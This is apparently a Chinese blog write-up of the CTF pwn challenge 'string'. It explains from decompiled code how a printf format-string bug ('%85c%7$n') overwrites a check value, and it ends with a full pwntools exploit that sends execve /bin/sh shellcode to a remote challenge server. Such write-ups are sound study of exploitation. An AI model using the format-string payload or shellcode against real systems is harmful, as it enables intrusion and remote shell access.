string
2019-08-08 本文已影响0人
常向阳_
image.png
0x00
image.png
0x07 完整
0x00 file
和checksec
image.png
0x01 ida查看
image.png- 上面是主体函数,其中会调用
sub_400D72(v4)
,其中v4=(__int64)v3
0x02 进入sub_400D72()查看
image.png- 这里又会调用三个函数,分别进去查看
0x03 sub_400A7D
image.png- 这里的逻辑是输入
east
或up
,输入east
会break
,输入up
会进入sub_4009DD
,但是进入sub_4009DD
分析是不可行的,"YOU ARE DEAD"
,所以这里选择east
image.png
0x04 sub_400BB9
image.png- 明显存在printf漏洞,先别急,先把流程看完
0x05 sub_400CA6
image.png- 这里要求
*a1 == a1[1]
,也就是a[0] == a[1]
,而a[1]
其实是main
里传来的v4
- 重新回到
main
查看,v4 = (__int64)v3
,*v3 = 68
,v3[1] = 85
- 意思就是要求
v3[0] == v3[1]
,也就是v3[0]=85
或v3[1]=68
image.png - 第
17
行这里其实是将v1
强转为函数指针类型 - 看汇编代码就很容易看出,最后进行了
call
调用(这里可以写入shellcode
执行)
image.png
0x06 思路
- 思路也就有了,通过
printf
任意地址写使得v3[0] == v3[1]
,这里使得v3[0]=v3[1]=85
- 所以就需要知道
v3[0]
的地址,在main
函数发现其实secret[0]
即v3[0]
的地址,所以就可以利用printf
任意地址写修改v3[0]
处的值了 - 在
64
位程序下,前6个参数从左到右依次放到RDI
、RSI
、RDX
、RCX
、R8
、R9
中,所以从n=7
开始,我们就可以修改栈中的数据为85
image.png - 这样的话就绕过了
*a1 == a1[1]
,最后只需写入shellcode
调用执行即可
0x07 完整exp
from pwn import *
local=0
pc='./string'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
#gdb.attach(p,'c')
else:
remote_addr=['111.198.29.45', 45969]
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
if __name__ == '__main__':
ru('secret[0] is ')
v3_0_addr = int(ru('\n')[:-1], 16)
log.info('v3_0_addr', hex(v3_0_addr))
ru('name be:\n')
sl('cxy')
ru('east or up?:\n')
sl('east')
ru('go into there(1), or leave(0)?:\n')
sl('1')
ru("'Give me an address'\n")
sl(str(v3_0_addr))
ru('you wish is:\n')
sl('%85c%7$n')
ru('SPELL\n')
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
sl(shellcode)
p.interactive()